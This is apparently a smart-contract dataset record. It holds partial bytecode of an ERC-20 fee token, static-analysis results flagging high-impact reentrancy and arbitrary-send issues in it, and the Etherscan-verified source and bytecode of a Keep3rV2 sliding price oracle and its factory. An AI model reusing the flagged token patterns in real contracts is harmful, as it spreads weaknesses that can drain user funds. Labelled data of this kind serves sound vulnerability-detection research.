600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600c600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122076487fdff747d9ea8808ccaa423259874c470cdcd64c12eed731182d1156322964736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,902 |
0x18570f560cb2ddcd18b93b544edb4fdc2503e261
|
/**
*Submitted for verification at Etherscan.io on 2021-03-30
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
interface IUniswapV2Pair {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function token0() external view returns (address);
function token1() external view returns (address);
}
interface IKeep3rV1 {
function keepers(address keeper) external returns (bool);
function KPRH() external view returns (IKeep3rV1Helper);
function receipt(address credit, address keeper, uint amount) external;
}
interface IKeep3rV1Helper {
function getQuoteLimit(uint gasUsed) external view returns (uint);
}
// sliding oracle that uses observations collected to provide moving price averages in the past
contract Keep3rV2Oracle {
constructor(address _pair) {
_factory = msg.sender;
pair = _pair;
(,,uint32 timestamp) = IUniswapV2Pair(_pair).getReserves();
uint112 _price0CumulativeLast = uint112(IUniswapV2Pair(_pair).price0CumulativeLast() * e10 / Q112);
uint112 _price1CumulativeLast = uint112(IUniswapV2Pair(_pair).price1CumulativeLast() * e10 / Q112);
observations[length++] = Observation(timestamp, _price0CumulativeLast, _price1CumulativeLast);
}
struct Observation {
uint32 timestamp;
uint112 price0Cumulative;
uint112 price1Cumulative;
}
modifier factory() {
require(msg.sender == _factory, "!F");
_;
}
Observation[65535] public observations;
uint16 public length;
address immutable _factory;
address immutable public pair;
// this is redundant with granularity and windowSize, but stored for gas savings & informational purposes.
uint constant periodSize = 1800;
uint Q112 = 2**112;
uint e10 = 10**18;
// Pre-cache slots for cheaper oracle writes
function cache(uint size) external {
uint _length = length+size;
for (uint i = length; i < _length; i++) observations[i].timestamp = 1;
}
// update the current feed for free
function update() external factory returns (bool) {
return _update();
}
function updateable() external view returns (bool) {
Observation memory _point = observations[length-1];
(,, uint timestamp) = IUniswapV2Pair(pair).getReserves();
uint timeElapsed = timestamp - _point.timestamp;
return timeElapsed > periodSize;
}
function _update() internal returns (bool) {
Observation memory _point = observations[length-1];
(,, uint32 timestamp) = IUniswapV2Pair(pair).getReserves();
uint32 timeElapsed = timestamp - _point.timestamp;
if (timeElapsed > periodSize) {
uint112 _price0CumulativeLast = uint112(IUniswapV2Pair(pair).price0CumulativeLast() * e10 / Q112);
uint112 _price1CumulativeLast = uint112(IUniswapV2Pair(pair).price1CumulativeLast() * e10 / Q112);
observations[length++] = Observation(timestamp, _price0CumulativeLast, _price1CumulativeLast);
return true;
}
return false;
}
function _computeAmountOut(uint start, uint end, uint elapsed, uint amountIn) internal view returns (uint amountOut) {
amountOut = amountIn * (end - start) / e10 / elapsed;
}
function current(address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut, uint lastUpdatedAgo) {
(address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn);
Observation memory _observation = observations[length-1];
uint price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast() * e10 / Q112;
uint price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast() * e10 / Q112;
(,,uint timestamp) = IUniswapV2Pair(pair).getReserves();
// Handle edge cases where we have no updates, will revert on first reading set
if (timestamp == _observation.timestamp) {
_observation = observations[length-2];
}
uint timeElapsed = timestamp - _observation.timestamp;
timeElapsed = timeElapsed == 0 ? 1 : timeElapsed;
if (token0 == tokenIn) {
amountOut = _computeAmountOut(_observation.price0Cumulative, price0Cumulative, timeElapsed, amountIn);
} else {
amountOut = _computeAmountOut(_observation.price1Cumulative, price1Cumulative, timeElapsed, amountIn);
}
lastUpdatedAgo = timeElapsed;
}
function quote(address tokenIn, uint amountIn, address tokenOut, uint points) external view returns (uint amountOut, uint lastUpdatedAgo) {
(address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn);
uint priceAverageCumulative = 0;
uint _length = length-1;
uint i = _length - points;
Observation memory currentObservation;
Observation memory nextObservation;
uint nextIndex = 0;
if (token0 == tokenIn) {
for (; i < _length; i++) {
nextIndex = i+1;
currentObservation = observations[i];
nextObservation = observations[nextIndex];
priceAverageCumulative += _computeAmountOut(
currentObservation.price0Cumulative,
nextObservation.price0Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
}
} else {
for (; i < _length; i++) {
nextIndex = i+1;
currentObservation = observations[i];
nextObservation = observations[nextIndex];
priceAverageCumulative += _computeAmountOut(
currentObservation.price1Cumulative,
nextObservation.price1Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
}
}
amountOut = priceAverageCumulative / points;
(,,uint timestamp) = IUniswapV2Pair(pair).getReserves();
lastUpdatedAgo = timestamp - nextObservation.timestamp;
}
function sample(address tokenIn, uint amountIn, address tokenOut, uint points, uint window) external view returns (uint[] memory prices, uint lastUpdatedAgo) {
(address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn);
prices = new uint[](points);
if (token0 == tokenIn) {
{
uint _length = length-1;
uint i = _length - (points * window);
uint _index = 0;
Observation memory nextObservation;
for (; i < _length; i+=window) {
Observation memory currentObservation;
currentObservation = observations[i];
nextObservation = observations[i + window];
prices[_index] = _computeAmountOut(
currentObservation.price0Cumulative,
nextObservation.price0Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
_index = _index + 1;
}
(,,uint timestamp) = IUniswapV2Pair(pair).getReserves();
lastUpdatedAgo = timestamp - nextObservation.timestamp;
}
} else {
{
uint _length = length-1;
uint i = _length - (points * window);
uint _index = 0;
Observation memory nextObservation;
for (; i < _length; i+=window) {
Observation memory currentObservation;
currentObservation = observations[i];
nextObservation = observations[i + window];
prices[_index] = _computeAmountOut(
currentObservation.price1Cumulative,
nextObservation.price1Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
_index = _index + 1;
}
(,,uint timestamp) = IUniswapV2Pair(pair).getReserves();
lastUpdatedAgo = timestamp - nextObservation.timestamp;
}
}
}
}
contract Keep3rV2OracleFactory {
function pairForSushi(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint160(uint256(keccak256(abi.encodePacked(
hex'ff',
0xc35DADB65012eC5796536bD9864eD8773aBc74C4,
keccak256(abi.encodePacked(token0, token1)),
hex'e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303' // init code hash
)))));
}
function pairForUni(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint160(uint256(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
)))));
}
modifier keeper() {
require(KP3R.keepers(msg.sender), "!K");
_;
}
modifier upkeep() {
uint _gasUsed = gasleft();
require(KP3R.keepers(msg.sender), "!K");
_;
uint _received = KP3R.KPRH().getQuoteLimit(_gasUsed - gasleft());
KP3R.receipt(address(KP3R), msg.sender, _received);
}
address public governance;
address public pendingGovernance;
/**
* @notice Allows governance to change governance (for future upgradability)
* @param _governance new governance address to set
*/
function setGovernance(address _governance) external {
require(msg.sender == governance, "!G");
pendingGovernance = _governance;
}
/**
* @notice Allows pendingGovernance to accept their role as governance (protection pattern)
*/
function acceptGovernance() external {
require(msg.sender == pendingGovernance, "!pG");
governance = pendingGovernance;
}
IKeep3rV1 public constant KP3R = IKeep3rV1(0x1cEB5cB57C4D4E2b2433641b95Dd330A33185A44);
address[] internal _pairs;
mapping(address => Keep3rV2Oracle) public feeds;
function pairs() external view returns (address[] memory) {
return _pairs;
}
constructor() {
governance = msg.sender;
}
function update(address pair) external keeper returns (bool) {
return feeds[pair].update();
}
function byteCode(address pair) external pure returns (bytes memory bytecode) {
bytecode = abi.encodePacked(type(Keep3rV2Oracle).creationCode, abi.encode(pair));
}
function deploy(address pair) external returns (address feed) {
require(msg.sender == governance, "!G");
require(address(feeds[pair]) == address(0), 'PE');
bytes memory bytecode = abi.encodePacked(type(Keep3rV2Oracle).creationCode, abi.encode(pair));
bytes32 salt = keccak256(abi.encodePacked(pair));
assembly {
feed := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
if iszero(extcodesize(feed)) {
revert(0, 0)
}
}
feeds[pair] = Keep3rV2Oracle(feed);
_pairs.push(pair);
}
function work() external upkeep {
require(workable(), "!W");
for (uint i = 0; i < _pairs.length; i++) {
feeds[_pairs[i]].update();
}
}
function work(address pair) external upkeep {
require(feeds[pair].update(), "!W");
}
function workForFree() external keeper {
for (uint i = 0; i < _pairs.length; i++) {
feeds[_pairs[i]].update();
}
}
function workForFree(address pair) external keeper {
feeds[pair].update();
}
function cache(uint size) external {
for (uint i = 0; i < _pairs.length; i++) {
feeds[_pairs[i]].cache(size);
}
}
function cache(address pair, uint size) external {
feeds[pair].cache(size);
}
function workable() public view returns (bool canWork) {
canWork = true;
for (uint i = 0; i < _pairs.length; i++) {
if (!feeds[_pairs[i]].updateable()) {
canWork = false;
}
}
}
function workable(address pair) public view returns (bool) {
return feeds[pair].updateable();
}
function sample(address tokenIn, uint amountIn, address tokenOut, uint points, uint window, bool sushiswap) external view returns (uint[] memory prices, uint lastUpdatedAgo) {
address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut);
return feeds[_pair].sample(tokenIn, amountIn, tokenOut, points, window);
}
function sample(address pair, address tokenIn, uint amountIn, address tokenOut, uint points, uint window) external view returns (uint[] memory prices, uint lastUpdatedAgo) {
return feeds[pair].sample(tokenIn, amountIn, tokenOut, points, window);
}
function quote(address tokenIn, uint amountIn, address tokenOut, uint points, bool sushiswap) external view returns (uint amountOut, uint lastUpdatedAgo) {
address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut);
return feeds[_pair].quote(tokenIn, amountIn, tokenOut, points);
}
function quote(address pair, address tokenIn, uint amountIn, address tokenOut, uint points) external view returns (uint amountOut, uint lastUpdatedAgo) {
return feeds[pair].quote(tokenIn, amountIn, tokenOut, points);
}
function current(address tokenIn, uint amountIn, address tokenOut, bool sushiswap) external view returns (uint amountOut, uint lastUpdatedAgo) {
address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut);
return feeds[_pair].current(tokenIn, amountIn, tokenOut);
}
function current(address pair, address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut, uint lastUpdatedAgo) {
return feeds[pair].current(tokenIn, amountIn, tokenOut);
}
}
|
0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063983586d911610066578063983586d914610136578063a2e620451461014e578063a75d39c214610156578063a8aa1b311461017e578063ae6ec9b7146101bd57610093565b80630a7933981461009857806317bf72c6146100c25780631f7b6d32146100d7578063252c09d7146100f7575b600080fd5b6100ab6100a636600461158b565b6101d0565b6040516100b9929190611656565b60405180910390f35b6100d56100d0366004611626565b610737565b005b61ffff80546100e4911681565b60405161ffff90911681526020016100b9565b61010a610105366004611626565b6107b1565b6040805163ffffffff90941684526001600160701b0392831660208501529116908201526060016100b9565b61013e6107ea565b60405190151581526020016100b9565b61013e610924565b61016961016436600461150d565b610994565b604080519283526020830191909152016100b9565b6101a57f000000000000000000000000ceff51756c56ceffca006cd410b03ffc46dd3a5881565b6040516001600160a01b0390911681526020016100b9565b6101696101cb366004611548565b610d5d565b6060600080856001600160a01b0316886001600160a01b0316106101f55785886101f8565b87865b5090508467ffffffffffffffff81111561022257634e487b7160e01b600052604160045260246000fd5b60405190808252806020026020018201604052801561024b578160200160208202803683370190505b509250876001600160a01b0316816001600160a01b031614156104d45761ffff805460009161027d91600191166116f5565b61ffff169050600061028f86886116d6565b6102999083611718565b60408051606081018252600080825260208201819052918101829052919250905b8383101561041b5760408051606081018252600080825260208201819052918101829052908461ffff81106102ff57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b9091041690820152905060006103488a8661169e565b61ffff811061036757634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526001600160701b03600160201b830481166020808701829052600160901b9094048216948601949094529185015185519496506103d094921692916103c49161172f565b63ffffffff168f611100565b8884815181106103f057634e487b7160e01b600052603260045260246000fd5b602090810291909101015261040683600161169e565b92506104149050888461169e565b92506102ba565b60007f000000000000000000000000ceff51756c56ceffca006cd410b03ffc46dd3a586001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561047657600080fd5b505afa15801561048a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ae91906115d8565b845163ffffffff91821694506104c8935016905082611718565b9650505050505061072c565b61ffff80546000916104e991600191166116f5565b61ffff16905060006104fb86886116d6565b6105059083611718565b60408051606081018252600080825260208201819052918101829052919250905b838310156106775760408051606081018252600080825260208201819052918101829052908461ffff811061056b57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b9091041690820152905060006105b48a8661169e565b61ffff81106105d357634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526001600160701b03600160201b830481166020860152600160901b909204821684840181905292850151855194965061062c94921692916103c49161172f565b88848151811061064c57634e487b7160e01b600052603260045260246000fd5b602090810291909101015261066283600161169e565b92506106709050888461169e565b9250610526565b60007f000000000000000000000000ceff51756c56ceffca006cd410b03ffc46dd3a586001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156106d257600080fd5b505afa1580156106e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070a91906115d8565b845163ffffffff9182169450610724935016905082611718565b965050505050505b509550959350505050565b61ffff805460009161074b9184911661169e565b61ffff8054919250165b818110156107ac57600160008261ffff811061078157634e487b7160e01b600052603260045260246000fd5b01805463ffffffff191663ffffffff92909216919091179055806107a48161176e565b915050610755565b505050565b60008161ffff81106107c257600080fd5b015463ffffffff811691506001600160701b03600160201b8204811691600160901b90041683565b61ffff80546000918291829161080391600191166116f5565b61ffff1661ffff811061082657634e487b7160e01b600052603260045260246000fd5b6040805160608082018352939092015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b90910416828201528051630240bc6b60e21b815290519193506000926001600160a01b037f000000000000000000000000ceff51756c56ceffca006cd410b03ffc46dd3a581692630902f1ac926004818101939291829003018186803b1580156108c357600080fd5b505afa1580156108d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108fb91906115d8565b845163ffffffff91821694506000935061091792501683611718565b6107081093505050505b90565b6000336001600160a01b037f000000000000000000000000ab26f32ee1e5844d0f99d23328103325e163070016146109875760405162461bcd60e51b815260206004820152600260248201526110a360f11b604482015260640160405180910390fd5b61098f61113b565b905090565b6000806000836001600160a01b0316866001600160a01b0316106109b95783866109bc565b85845b5061ffff805491925060009182916109d791600191166116f5565b61ffff1661ffff81106109fa57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b82048116602080860191909152600160901b9092041683830152620100005462010001548351635909c0d560e01b81529351949550600094919390926001600160a01b037f000000000000000000000000ceff51756c56ceffca006cd410b03ffc4